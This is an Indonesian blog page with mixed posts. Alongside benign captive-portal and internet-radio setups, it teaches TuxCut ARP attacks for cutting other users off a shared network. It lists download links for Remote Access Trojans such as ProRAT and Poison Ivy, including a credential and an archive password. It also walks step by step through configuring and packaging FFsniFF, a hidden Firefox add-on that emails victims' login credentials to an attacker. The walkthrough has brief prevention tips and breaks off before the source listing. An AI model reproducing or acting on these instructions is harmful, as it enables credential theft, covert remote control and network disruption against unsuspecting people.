Minggu, 20 Februari 2011

Disconnet Linux Client Dengan TUXCUT

TuxCut, sebuah aplikasi yang dapat digunakan untuk memotong akses internet pada hotspot, atau sebuah PC LAN workgroup dari client ke server atau sebaliknya dengan memanfaatkan protokol ARP. Program ini dipergunakan oleh pengguna jaringan yang jail dan ingin mengambil jatah bandwith untuk dipakai sendiri. Tuxcut di buat dari bahasa PyQt, untuk lebih jelasnya bisa langsung mengunjungi situs resminya di
http://bitbucket.org/a_atalla/tuxcut/src/
Di dalam Tuxcut sudah di bundel fitur buat memproteksi kita agar koneksi internet kita tidak bisa dicut atau di potong oleh user lain. Selain itu, terdapat fitur buat MAC scanning dan MAC changer-nya juga. Sebaliknya untuk Netcut, agar kita terproteksi dari user jail yang memakai Netcut, kita harus menginstall program lagi yakni AntiNetcut (meski netcut selalu lebih maju dari anti netcut).
Untuk cara penginstalannya, disini saya menggunakan sistem operasi berbasis Ubuntu linux.
1. Download TuxCut, karena kita mau menginstall di kubuntu, kita download debian package di
http://bitbucket.org/a_atalla/tuxcut/downloads/TuxCut-3.2_all.deb
2. Sebelum menginstall TuxCut, kita perlu menginstall arp-scan arp-tables dan dsniff (membutuhkan koneksi internet agar kebih mudah dalam proses installnya)
a. Install arp-scan dengan perintah
$ sudo apt-get arp-scan
b. Install dsniff dengan perintah
$ sudo apt-get install dsniff
c. Install arptables, download versi arptables terbaru di
http://sourceforge.net/projects/ebtables/files/arptables/
Perintahnya :
tar zxf arptables-v0.0.3-3.tar.gz
cd arptables-v0.0.3-3
make && make install
3.Install TuxCut dengan perintah
$ sudo dpkg -i TuxCut-3.2_all.deb
*jika masih terdapat error karena library yang masih kurang, bisa dicoba command berikut: apt-get install -f
Berikut ini screenshoot dari TuxCut yang berhasil di install di Ubuntu :

Tutorial Setting WIFI

Note :
Untuk mengaplikasikan Captive portal ini minimal menggunakan 2 ethernet card :
internet —- modem ——–ubuntu server ——- switch ——- AP dan/atau LAN
Tetapi pada tutorial ini saya menerapkan pada server dgn 3 ethernet card :
internet —- ADSL ——–(eth0)UBUNTU SERVER(eth2) ——- switch ——- Wired LAN
……………………………………………..(eth1)
…………………………………………………|
…………………………………………………|
…………………………………………..Access Point
Persiapan system :
1. Ubuntu 8.04 Hardy Heron dengan paket LAMP
2. Putty untuk remote server dari client.
3. Webmin untuk mempermudah edit file.
Buat eth0 terkoneksi dengan modem.
Konfigurasi untuk eth1 tidak usah diisi karena nanti eth1 diberi setingan DHCP dari Coova chilli.
Berikut adalah isi dari /etc/network/interfaces saya
[quote]
auto lo
iface lo inet loopback
iface eth0 inet static
address 192.168.0.2
netmask 255.255.255.0
network 192.168.0.0
broadcast 192.168.0.255
gateway 192.168.0.1 —– ip modem
iface eth2 inet static
address 192.168.10.1
netmask 255.255.255.0
network 192.168.10.0
broadcast 192.168.10.255[/quote]
Pastikan juga ]/etc/resolv.conf setting DNS dari Server nya benar, saya anjurkan install DNS local
Edit file /etc/sysctl.conf, Uncomment bagian ini agar Kernel Ubuntu dapat forwarding packet
[quote]
# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1[/quote]
Pastikan paket LAMP telah ter-install
[quote]
sudo tasksel[/quote]
dengan mencentang LAMP, maka semua package yang diperlukan otomatis terinstall.
Step Instalasi :
1. CakePHP
2. YFi CakePHP Application
3. YFi View Component
4. FreeRADIUS
5. Coova Chilli
1. Install CakePHP
Install juga PHP command line:
[quote]
sudo apt-get install php5-cli[/quote]
untuk mengubah skala file gambar, Install imagemagick.
[quote]
sudo apt-get install imagemagick[/quote]
Mulai versi Beta-3, Yfi Manager Hotspot sudah support multi bahasa
[quote]
sudo apt-get install language-pack-id — bahasa Indonesia
sudo apt-get install language-pack-af
sudo apt-get install language-pack-fr
sudo apt-get install language-pack-ms
sudo apt-get install language-pack-nl
sudo apt-get install language-pack-es[/quote]
Download versi terbaru CakePHP di http://cakephp.org.
versi terbaru (April 2010)= cake_1.2.6
Copy, extract di direktori apache. Default ubuntu di /var/www
[quote]
sudo cp cakephp-cakephp1x-1.2.6-0-gbe7ddfb.tar.gz /var/www
cd /var/www
sudo tar -xzvf cakephp-cakephp1x-1.2.6-0-gbe7ddfb.tar.gz[/quote]
Rename direktori hasil ekstrak, agar lebih simpel (misal:cake_1.2.6)
Buat symbolic link
[quote]
cd /var/www
sudo ln -s ./cake_1.2.6 ./c2[/quote]
Enable beberapa modul apache: rewrite, deflate untuk kompresi, dan headers untuk memodifikasi http header. Modul tersebut diperlukan untuk meningkatkan performance dan kecepatan web aplikasi..
[quote]
sudo a2enmod rewrite
sudo a2enmod deflate
sudo a2enmod headers
sudo /etc/init.d/apache2 reload[/quote]
Edit file “/etc/php5/apache2/php.ini”
Pada baris :
[quote]
output_buffering = Off[/quote]
ubah dengan
[quote]Code:
output_buffering = 4096[/quote]
Edit file /etc/apache2/apache2.conf
Masukkan script dibawah ini:
[quote]
AllowOverride All
#——-COMPRESS CONTENT———–
# place filter ‘DEFLATE’ on all outgoing content
SetOutputFilter DEFLATE
# exclude uncompressible content via file type
SetEnvIfNoCase Request_URI \.(?:exe|t?gz|jpg|png|pdf|zip|bz2|sit|rar)$ no-gzip
#dont-vary
# Keep a log of compression ratio on each request
DeflateFilterNote Input instream
DeflateFilterNote Output outstream
DeflateFilterNote Ratio ratio
LogFormat ‘”%r” %{outstream}n/%{instream}n (%{ratio}n%%)’ deflate
CustomLog /var/log/apache2/deflate.log deflate
# Properly handle old browsers that do not support compression
BrowserMatch ^Mozilla/4 gzip-only-text/html
BrowserMatch ^Mozilla/4\.0[678] no-gzip
BrowserMatch \bMSIE !no-gzip !gzip-only-text/html
#———————————-
#——ADD EXPIRY DATE————-
Header set Expires “Thu, 15 Apr 2012 20:00:00 GMT”
#———————————-
#——–Remove ETags ——————–
FileETag none
#—————————————–[/quote]
Reload Apache
[quote]sudo /etc/init.d/apache2 reload
[/quote]
2. Install YFi CakePHP Application
Donwload versi terbaru YFi Cake, saya memakai versi yfi_cake-Beta-4.tar.gz
extract di direktori “/var/www/c2″.
[quote]sudo cp yfi_cake-Beta-4.tar.gz /var/www/c2
cd /var/www/c2
sudo tar -xzvf yfi_cake-Beta-4.tar.gz
sudo chown -R www-data. /var/www/c2/yfi_cake/tmp
sudo chown -R www-data. /var/www/c2/yfi_cake/webroot/img/graphics
[/quote]
Setting Database
Buat database ‘yfi’ dengan username dan password default ‘yfi’ (default).
Untuk settingan default gunakan perintah ini :
[quote]mysql -u root -p
create database yfi;
GRANT ALL PRIVILEGES ON yfi.* to ‘yfi’@’127.0.0.1′ IDENTIFIED BY ‘yfi’;
GRANT ALL PRIVILEGES ON yfi.* to ‘yfi’@'localhost’ IDENTIFIED BY ‘yfi’;
exit;[/quote]
Catatan: Untuk keamanan anda bisa ubah username dan password, misalsperti milik saya: “submajuli”
Jangan lupa untuk ubah File ‘/var/www/c2/yfi_cake/config/database.php’, Dibagian username dan password.
mysql -u root -p yfi /dev/null
# force-add the final rule necessary to fix routing tables
iptables -I POSTROUTING -t nat -o $HS_WANIF -j MASQUERADE
[/quote]
Tambahkan coa port pada file /etc/init.d/chilli, cari pada bagian ini :
[quote]
OPTS=”–pidfile /usr/local/var/run/$NAME.pid”[/quote]
Tambahkan –coaport 3799 untuk keperluan “Kick User off”
[quote]OPTS=”–pidfile /usr/local/var/run/$NAME.pid –coaport 3799″ ## Tambahkan coa port[/quote]
Halaman Login
Disini saya menggunakan login page coova_json
Copy folder coova_json ke direktori apache ” /var/www ”
sudo cp -R /var/www/c2/yfi_cake/setup/coova_json /var/www
Cek di file “/var/www/coova_json/login.php :
1. $uamsecret harus sama dengan di file ” /etc/chilli/config “, begitu juga di file ” /var/www/coova_json/uam.php “. Defaultnya adalah ‘greatsecret’.
2. $port di “/var/www/coova_json/login.php “, jika 3660 harus diganti dengan 3990.
Silahkan restart ubuntu anda
1. Tes dengan menggunakan komputer client. Setting network interface client ke dhcp, jika client mendapat ip 10.1.0.2 – dst. Berarti coova chilli berjalan normal
2. Coba browsing ke, misal www.google.com. Akan keluar halaman splash
3. Kemudian diarahkan ke halaman login: hs_land.php
4. Login dengan user dvdwalt@ri dan password dvdwalt@ri.
5. Jika akses diterima, akan nongol www.google.com
tahap instalasi Finish
Padukan dengan squid Transparent Proxy”
Berikut iptables yg saya gunakan untuk meredirec client HotSpot ke squid (squid satu server dengan captive portal)
[quote]iptables -A PREROUTING -t nat -i tun0 -p tcp -s 10.1.0.0/24 -d ! 10.1.0.1 –dport 80 -j REDIRECT –to 3128[/quote]
selamat mencoba ingat kegagalan adalah awal dari keberhasilan

Remote Administration Tools (RAT)

APa itu RAT?
Oks RAT kependekan dari Remote Administrator TOol
Rat di gunakan untuk menghubungkan dan mengatur satu atau lebih komputer dengan berbagai kemampuan seperti:
# Screen/camera capture atau control
# File management (download/upload/execute/dll.)
# Shell control (CMD control)
# Computer control (power off/on/log off)
# Registry management (query/add/delete/modify)
# spesifikasi dari Produk RAT lain masing2.
Direct Connection
RAT type direct-connection adalah RAT dengan set up yang simple dimana Client(orang yang menyebarkan)mengkoneksikan dirinya ke satu atau lebih Server(komputer korban)secara langsung.
Reverse Connection
RAT yang menggunakan dan mengutilisasi Reverse Connection memiliki Beberapa Kelebihan
#Keluar masuk nya koneksi umumnya tidak terlacak. dan tidak terdeteksi atau di Block oleh Firewall,seperti Router.
#karena Remote komputer mengkoneksikan ke Remote administrator,Si pelaku tidak perlu mengetahui IP korban untuk melakukan hubungan.jadi dalam satu RAT pasti akan ada Client dan Server.2 Tools dalam satu software.
#mass-distribution,artinya kita bisa menyebarkan Server nya ke pada siapapun ,dan kita bisa mengontrol komputer – komputer yang sudah terinstal kan Server kita (remote komputer)lebih dari satu pada saat bersamaan.
#Jika Mass-distribution dilakukan,lebih mudah untuk Tracking komputer yang sudah di sadap dan terinstallkan RAT tersbut.karena ada fasilitas “calling home” oleh koneksi ke REmote administrator (komputer kita)
Most Pupolar RAT programs With Links, see below:
1. Cerberus RAT

Download:
http://uploading.com/files/mbe9161b/Cerberus.rar/
Resource
http://www.youtube.com/watch?v=q5u_pZUN9F8
2. Nuclear Rat 2.1.0

Download :
http://uploading.com/files/4ZIOSRJG/NuclearRat.rar.html
3. Prorat RAT

Download:
http://uploading.com/files/MTE65R3D/ProRatSE.rar.html
Rar Password: oksa52wq
Username: mohdjase1 Password: 66618e869accfc4f96
resource:
http://www.youtube.com/watch?v=8OKMELrLU3Q
4. CyberGate RAT

Download:
http://uploading.com/files/23b14467/CyberGate%2Bv1.00.1.rar/
5. Seed 1.1 Rat

Download:
http://uploading.com/files/QESMWWA0/Seed1.1.zip.html
6. Lost Door V4.2 LIGHT

Download:
http://uploading.com/files/f277398c/Lost%2BDoor%2BV4.2%2Blight.zip/
7. Apocalypse RAT

Downlaod:
http://uploading.com/files/4eca9bdd/Apocalypse144.rar/
8. SubSeven RAT

Download :
http://uploading.com/files/4JFEZPNW/Sub7v2.2.zip.html
9. Spy-Net RAT

Download:
http://uploading.com/files/2717bd57/Spt-Net%2B%255BRAT%255D%2Bv2.6.rar/
Password: Spy-Net
Resource :
http://www.youtube.com/watch?v=5lv8H9tGCUU
10.Turkojan Gold RAT

Download :
http://uploading.com/files/c7c5d282/Turkojan4Gold.rar/
Resource :
http://www.youtube.com/watch?v=Z8uJJDhZHuQ
Other Best Rat
11.Poison Ivy Rat
download:
http://www.poisonivy-rat.com/index.php?link=download
resource:
http://www.youtube.com/watch?v=T55dJV40_sk
12.Shark RAT v3.0.0
Download:
http://uploading.com/files/O84EB7K0/sharK_3.rar.html
13.BiFrost RAT
Download:
http://uploading.com/files/CUP1QGM3/Bifrost12.zip.html

*NOTE: Bila URL Download Tidak Aktif, Maka Disarankan Google, Karena Ada Limit Di Masing-masing Tempat Uploadnya. Just Simple Googling With Key Example: Cerberus RAT Tools or ProRAT Tools

Source: killnine

Radio Online Internet

Sebenarnya sangat mudah dan tidak memakan banyak waktu atau uang untuk membangun radio internet atau radio online. Persyaratannya juga hanya komputer dan koneksi internet untuk infrastruktur, serta Winamp, Shoutcast, dan Shoutcast DSP Plugin untuk softwarenya. Ketiga software tersebut bisa kita dapatkan secara gratis di Internet (freeware) untuk versi Linux maupun Windows. Dengan itu kita bisa jadi broadcaster yang menyiarkan content radio sesuai dengan yang kita inginkan ke seluruh dunia maya. Tertarik? Mari kita bahas bahas secara bertahap bagaimana membuat radio internet ini.
1. Download software yang diperlukan:
2. Install dan jalankan Shoutcast Server di komputer yang ingin kita jadikan server. Untuk instalasi di Linux cukup ekstrak file “shoutcast-1-9-5-linux-glibc6.tar.tar” dan jalankan file “sc_serv”. Tidak perlu menjadi root untuk menjalankannya.


3. Install Winamp dan Shoutcast DSP Plugin di komputer tempat kita akan mengalirkan content radio (mp3 music, dsb) ke Shoutcast Server.
4. Jalankan Winamp, kemudian klik kanan dan pilih “Options” -> “Preferences”.

5. Klik DSP/Effect di bagian Plug-ins dan pilih Nullsoft SHOUTcast Source DSP. Kemudian akan muncul satu window SHOUTcast Source dengan menu “Main”, “Output”, “Encoder”, “Input”.
winamp-shoutcastdsp.jpg
6. Pilih “Output” dan klik “Connect” untuk konek ke Shoutcast server, sebelumnya perlu diperhatikan beberapa hal di bawah:
  • Cek “Address” apakah sudah sesuai dengan server anda. Pilih “localhost” apabila anda install server di tempat anda menginstall Winamp dan DSP Plugin.
  • Password default adalah “Changeme” (tanpa tanda kutip). Anda dapat mengubah setting password ini di “sc_serv.ini” atau “sc_serv.conf” yang terletak satu direktori dengan Shoutcast Server. (C:\Program Files\SHOUTcast\ untuk versi Windows)
winamp-shoutcastdsp2.jpg winamp-shoutcastdsp3.jpg
7. Sekarang tinggal alirkan saja content (music, sound, dsb) ke Shoutcast Server. Caranya mudah, letakkan file mp3 di Winamp dan tekan tanda play, maka music anda akan ter-broadcast ke seluruh dunia maya.
winamp-shoutcastdsp5.jpg
8. Cek dengan menjalankan Winamp dari komputer lain dan klik kanan pilih “Play” -> “URL” dan masukkan http://serveranda:8000. Ganti “serveranda” dengan nama domain atau IP address dimana Shoutcast server diinstal dan dijalankan.
winampradio-playurl.jpg winampradio-openurl.jpg
9. Pertanyaan lain yang muncul, bagaimana kalau kita ingin mengalirkan suara kita secara live? Siapkan microphone dan masukkan kabel microphone ke soundcard PC anda. Kemudian kembali ke Winamp anda, pada SHOUTcast source, pilih “Input”, kemudian ubah “Input device” dari “Winamp (recommended)” ke “Soundcard Input”. Lalu siapkan microphone di depan mulut anda, dan ucapkan “Selamat datang di Radio Internet saya yang tercinta ini”.
winamp-shoutcastdsp6.jpg
Anda sudah memiliki Radio Internet sendiri sekarang. ;) Sebagai informasi tambahan, untuk membangun Radio Internet kita juga bisa menggunakan software lain selain Shoutcast, diantaranya adalah: Unreal Media Server, SAM2 Broadcaster, Pirate Radio, Peercast, Icecast, Andromeda, dsb. Konsepnya tidak jauh berbeda dengan Shoutcast, jadi bekal anda dengan 9 tahapan diatas sudah cukup untuk membuat anda mahir membangun sendiri Radio Internet.

500 Hacking Tutorial Archive


DataVault, Irc Warez (Ty 4 Moving X).txt
-[ How to rip Dynamic Flash Template ]-.txt
10 reasons why PCs crash U must Know.txt
10 Security Enhancements.txt
16x Dvd+-rw Dl Dvd Writer Comparison Guide.txt
20 Great Google Secrets.txt
23 Ways To Speed WinXP, Not only Defrag.txt
250+ Tech books online.txt
2600 Hertz Single Tone Generator Schematic.txt
36 Graphics & Design Ebooks.txt
8 People Can Use The Same Msn Dial Up Account.txt
A Basic Guide to the Internet.txt
A Basic UNIX Overview.rtf
A BEGINNERS GUIDE TO Hacking Unix.txt
A Cracking Tutorial
Silakan disini filenya
Dan lain lainnya, masih banyak lage ntuh..
Download here
500 Hacking Tutorials

Menjaring Password Dengan Firefox Sniffer

Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password pengguna ketika login ke email attacker, addon itu adalah FFsniFF.
Dalam artikel ini saya akan menunjukkan simulasi penyadapan password di browser korban dan mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF dengan membedah source codenya.
Sekilas tentang addon Firefox
Addon firefox adalah program dalam javascript yang diload dan diaktifkan setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal yang tidak disediakan oleh firefox (firefox hanya menyediakan fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di status bar, toolbar atau boleh juga tidak memiliki antarmuka sama sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini harus bersifat stealth.
Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi tersebut ada banyak file dan folder lain seperti source code javascript, gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah paket zippy adalah:
1
2
3
4
5
6
7
8
9
10
11
exampleExt.xpi:
              /install.rdf
              /components/*
              /components/cmdline.js
              /defaults/
              /defaults/preferences/*.js
              /plugins/*
              /chrome.manifest
              /chrome/icons/default/*
              /chrome/
              /chrome/content/
install.rdf adalah deskriptor untuk keperluan instalasi. Selain itu di dalam paket itu juga ada file javascript yang berisi kode program yang menjalankan fungsi addon. Selebihnya adalah file-file untuk menangani user interface addon.
Membuat paket instalasi ffsniff.xpi
Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh file sumber FFsniFF dari http://azurit.elbiahosting.sk/ffsniff/. Setelah diunduh, file tar.gz itu harus dimekarkan. Isi dari paket itu setelah dimekarkan adalah:
1
2
3
4
5
6
7
8
9
pkg_creator.py
src/
src/install.rdf
src/chrome/
src/chrome/content/
src/chrome/content/ffsniff/
src/chrome/content/ffsniff/ffsniffOverlay.xul
src/chrome/content/ffsniff/ffsniffOverlay_orig.js
src/chrome/content/ffsniff/contents.rdf
File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih berbentuk kumpulan file yang harus diubah dan dibungkus menjadi paket zippy (xpi). Sebenarnya untuk membuat paket zippy sudah disediakan script pkg_creator.py dalam bahasa python, namun dalam artikel ini saya tidak memakai script itu agar saya bisa menunjukkan bagaimana proses pembuatan file xpi dari source code.
Setelah source berhasil didownload, berikutnya saya harus membuat file ffsniffOverlay.js, caranya adalah dengan mengcopy file ffsniffOverlay_orig.js dalam nama ffsniffOverlay.js. Setelah itu ffsniffOverlay.js akan saya edit untuk mengubah beberapa variabel berikut:
1
2
3
4
5
6
7
var send_from_host = "<SEND_FROM_HOST>";
var send_from = "<SEND_FROM>";
var send_to = "<SEND_TO>";
var subject = "<SUBJECT>";
var smtp_host = "<SMTP_HOST>";
var smtp_port = "<SMTP_PORT>";
var enable_hide = "<HIDDING>";
Konfigurasi smtp untuk @ilmuhacking.com
MX record ilmuhacking.comMX record ilmuhacking.com
Variabel-variabel tersebut adalah parameter untuk mengirim email melalui smtp. smtp_host berisi alamat smtp server yang dipakai untuk mengirim email. Sebaiknya gunakan smtp server yang bertanggung jawab untuk domain email yang kita tuju, dalam kasus ini domain email tujuan adalah @ilmuhacking.com. Oleh karena itu saya harus mencari smtp server yang bertanggung jawab untuk domain ilmuhacking.com. Cara mencarinya adalah dengan melihat MX record dari DNS ilmuhacking.com. Anda bisa gunakan layanan dnswatch.info untuk mencari MX record ilmuhacking.com. Perhatikan gambar di samping, terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di host yang sama, jadi smtp_host saya isi dengan ilmuhacking.com. Pada domain lain biasanya mail server adalah mail.domainanda.com.
send_from dan send_to saya isi dengan nilai yang sama, yaitu testing@ilmuhacking.com, alamat itu adalah alamat email asal dan tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam domain yang sama (ilmuhacking.com) karena smtp server umumnya tidak bersedia mengirimkan email ke domain lain (istilahnya open relay) bila pengirim tidak memasukkan password dulu (anonymous).
enable_hide sengaja saya isi “no” untuk kemudahan, dalam kasus nyata variabel ini harus diisi dengan “yes” agar tersembunyi dari daftar addon sehingga tidak membuat korban curiga. Bila anda masih coba-coba, sebaiknya isi dulu dengan “no”.
smtp_port adalah port smtp server, port standar untuk layanan smtp adalah 25. subject adalah subject dari email yang akan berisi password korban.
1
2
3
4
5
6
7
var send_from_host = "ilmuhacking.com";
var send_from = "testing@ilmuhacking.com";
var send_to = "testing@ilmuhacking.com";
var subject = "Log Firefox Sniffer";
var smtp_host = "ilmuhacking.com";
var smtp_port = "25";
var enable_hide = "no";
Konfigurasi smtp untuk @telkom.net
Agar lebih memahami tentang konfigurasi email ini, saya beri contoh lain dengan email tujuan ke telkom.net.Dengan cara yang sama saya harus membaca MX record dari domain telkom.net, ternyata MX record untuk telkom.net ada 2: mx1.mail.plasa.com dan mx2.mail.plasa.com. Terserah mau pilih yang mana saja. Karena memakai smtp server telkom.net, email tujuan harus berada di domain @telkom.net, di sini saya pakai rizki.wicaksono@telkom.net. Alamat asal saya isi sama dengan email tujuan. Ini berarti saya mengirim email dari dan ke email yang sama, itu tidak masalah. send_from_host saya isi dengan telkom.net karena ini adalah domain. Jadi konfigurasi smtp untuk email tujuan @telkom.net adalah sebagai berikut:
1
2
3
4
5
6
7
var send_from_host = "telkom.net";
var send_from = "rizki.wicaksono@telkom.net";
var send_to = "rizki.wicaksono@telkom.net";
var subject = "Log Firefox Sniffer";
var smtp_host = "mx1.mail.plasa.com";
var smtp_port = "25";
var enable_hide = "no";
Membuat file ffsniff.jar
Setelah variabel-variabel di file ffsniffOverlay.js sudah diubah, langkah berikutnya adalah membuat file ffsniff.jar. Walaupun ekstensi filenya adalah jar, sebenarnya ini adalah file zip biasa. File-file yang dimasukkan dalam ffsniff.jar adalah:
content/ffsniff/contents.rdf
content/ffsniff/ffsniffOverlay.js
content/ffsniff/ffsniffOverlay.xul
Hasil file ffsniff.jar harus mengikutsertakan folder content/ffsniff, tidak boleh 3 file itu dizip tanpa mengikutsertakan foldernya. Jadi untuk membuat file ffsniff.jar harus berada di parent folder dari content/ffsniff. Anda bebas menggunakan program apa saja untuk kompresi zip ini, saya sendiri memakai WinRAR. Ketika dibuka dengan WINRAR isi dari ffsniff.jar tampak seperti gambar di bawah ini, perhatikan kolom pathnya harus berisi seperti itu.
ffsniff.jar list filesffsniff.jar list files
Membuat file ffsniff.xpi
Setelah mendapatkan file ffsniff.jar, selanjutnya saya harus membuat paket instalasi ffsniff.xpi. File ini juga file zip biasa, walaupun ekstensinya .xpi. Isi file ffsniff.xpi adalah dua file berikut:
install.rdf
chrome/ffsniff.jar
Jangan lupa juga ffsniff.jar harus dizip dalam folder chrome. Gambar di bawah ini menunjukkan ffsniff.xpi yang dibuka dengan winrar, perhatikan juga kolom pathnya harus tepat seperti itu.
ffsniff.xpi file listffsniff.xpi file list
Instalasi Firefox Sniffer
Oke, kini selesai sudah proses pembuatan file instalasi addon FFsniffer. Kini saya bisa menginstall addon tersebut. Cara instalasi file xpi adalah dengan membuka Firefox, kemudian memasukkan path lokasi file xpi pada addressbar firefox. Setelah muncul daftar file di firefox, klik file xpi yang akan diinstall. Cara instalasi FFsniFF diperlihatkan pada gambar di bawah ini. Setelah berhasil install jangan lupa untuk restart firefox anda.
instalasi firefox snifferinstalasi firefox sniffer
Mencoba login ke yahoo
Kini saya akan mencoba login ke yahoo dengan username rizkiwicaksono. Setelah login, saya periksa inbox email testing@ilmuhacking.com. Ternyata email hasil sniff password ketika login ke yahoo sudah masuk. Isi emailnya terlihat pada gambar di bawah ini.
log sniffer emaillog sniffer email
Dalam email tersebut terlihat bahwa FFsniff tidak hanya mencatat username dan password tapi semua field dengan tag input (input type=”xxx”) dari form, yaitu: password field, hidden field, text field, checkbox. Selain itu FFsniff juga mencatat URL, nama field, jenis dan nilainya. FFsniFF hanya mengirimkan field yang ada isinya, bila field tersebut kosong, field tersebut tidak akan dikirim.
Email Sniffer Log
Mari kita perhatikan email yang dikirimkan FFsniFF. Header lengkap email yang dikirim FFsniff adalah sebagai berikut:
1
2
3
4
5
6
7
8
9
Return-path: <testing@ilmuhacking.com>
Envelope-to: testing@ilmuhacking.com
Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600
Received: from [202.43.xxx.xxx] (port=23982 helo=ilmuhacking.com)
     by gator669.hostgator.com with esmtp (Exim 4.69)
     (envelope-from <testing@ilmuhacking.com>)
     id 1Lcywa-0002DK-Jj
     for testing@ilmuhacking.com; Fri, 27 Feb 2009 03:23:48 -0600
Subject: Log Firefox Sniffer
Dalam email tersebut hanya ada 1 header Received, yaitu dari host 202.43.xxx.xxx (ip lengkap saya sensor). Hal ini menunjukkan bahwa smtp server yang saya pakai kebetulan adalah smtp server yang paling dekat dengan si penerima sehingga tidak perlu dioper ke smtp server lain. Berikut ini adalah header email FFsniFF yang dikirim ke telkom.net:
Return-Path: <rizki.wicaksono@telkom.net>
Received: from [125.160.17.193] (HELO mx1.mail.telkom.net)
  by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9)
  with ESMTPS id 690188427 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:05:27 +0700
Received: from mx1.mail.plasa.com ([222.124.18.71])
 by mx1.mail.telkom.net  with esmtp id 1LeiKy-0001qP-O1
 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:04:20 +0700
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AggYAH+MrUnKK6ce/2dsb2JhbACBTosbIQGGVoIPsFshAQKSPQEDgSwG
X-IronPort-AV: E=McAfee;i="5300,2777,5542"; a="119895912"
Received: from xxxxdtp.net.id (HELO telkom.net) ([202.43.xx.xx])
  by mx1.mail.plasa.com with ESMTP; 04 Mar 2009 11:02:49 +0700
Subject: Log Firefox Sniffer
X-HAM-Check: YES
Date: Wed, 04 Mar 2009 11:05:27 +0700
Message-ID: <auto-000690188427@f1.c.plasa.com>
Dalam email ke telkom.net ada 3 header Received. Yang pertama adalah mx1.mail.plasa.com, ini adalah smtp server yang saya pakai di FFsniFF. Kemudian dari situ email dioper ke mx1.mail.telkom.net, dan terakhir dioper lagi ke f1.c.plasa.com, yang merupakan smtp server yang paling dekat dengan si penerima. Jadi sebenarnya saya bisa juga langsung mengirim email ke telkom.net dengan menggunakan smtp server f1.c.plasa.com. Namun karena MX record telkom.net menunjuk ke mx1.mail.telkom.net lebih baik saya pakai smtp server itu, walaupun perlu dioper sebanyak 2 kali untuk sampai di tujuan.
FFsniff mengirimkan email tersebut secara anonymous, artinya ffsniff tidak melakukan authentication sebelum mengirimkan email. SMTP server tidak mungkin menolak email yang ditujukan untuk domain yang dikelola dirinya sendiri, walaupun pengirimnya adalah anonymous (tanpa authentication), sebab bila smtp server menolak email untuk dirinya sendiri maka orang lain tidak akan bisa mengirim email ke domain itu.
Karena dikirimkan secara anonymous maka email tersebut tidak bisa ditujukan ke domain lain selain ilmuhacking.com karena smtp server tersebut kemungkinan besar akan menolak dijadikan titik relay pengiriman email ke domain lain. Bila ingin mengirimkan email untuk domain lain tidak bisa secara anonymous, sebelumnya harus memasukkan perintah smtp AUTH LOGIN dan memasukkan username/password dalam base64. Saya tidak akan menjelaskan terlalu panjang soal email, di lain kesempatan akan saya bahas detil cara kerja email.
Pencegahan
Bad guys already know about FFsniff since 3 years ago
FFsniff diciptakan pada bulan maret 2006, tepat 3 tahun yang lalu sehingga addon ini sudah dikenal luas sebagai salah satu tools hacking. Sekarang bagaimana caranya agar kita tidak menjadi korban addon ini?
Berikut ini tips agar tidak menjadi korban FFsniff:
  • Jangan sembarangan menginstall addon yang tidak anda kenal. Install addon hanya dari situs resmi Firefox Addon https://addons.mozilla.org/
  • Install Addon hanya dari situs yang menggunakan https. Penggunaan https ini sangat penting agar anda tidak tersesat mengakses situs palsu yang berusaha memberikan anda addon yang sudah diracuni spyware. Mengenai pentingnya https ini bisa anda baca di artikel: understanding https
  • firefox safe modefirefox safe mode
  • Bila anda berada di komputer publik, gunakan Firefox dalam Safe Mode (mode aman). Mode ini adalah mode menjalankan firefox dengan mematikan semua addon yang ada.
  • Walaupun FFsniFF dapat menyembunyikan diri dari daftar addon Firefox, namun tetap saja dia tidak mungkin bisa bersembunyi di file system. Jika anda ragu apakah firefox anda bersih dari FFsniFF, silakan buka folder Profile Mozilla Firefox anda. Biasanya di:
  • 1
    C:\Documents and Settings\<username>\Application Data\Mozilla\Firefox\Profiles\<some-random-text>\extensions\
    firefox extension folderfirefox extension folder
    Kemudian perhatikan file install.rdf, dalam file itu terlihat nama dan deskripsi addon. Atau anda juga bisa melihat folder di dalamnya lagi untuk membaca file dot js dari ffsniff. How FFsniff Works Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian mendapatkan password ketika ada yang login di firefox yang telah dipasang addon ini. Kini saatnya saya menjelaskan cara kerja FFsniff ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini berisi semua code yang melakukan sniffing. Berikut adalah source code lengkap ffsniffOverlay.js.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
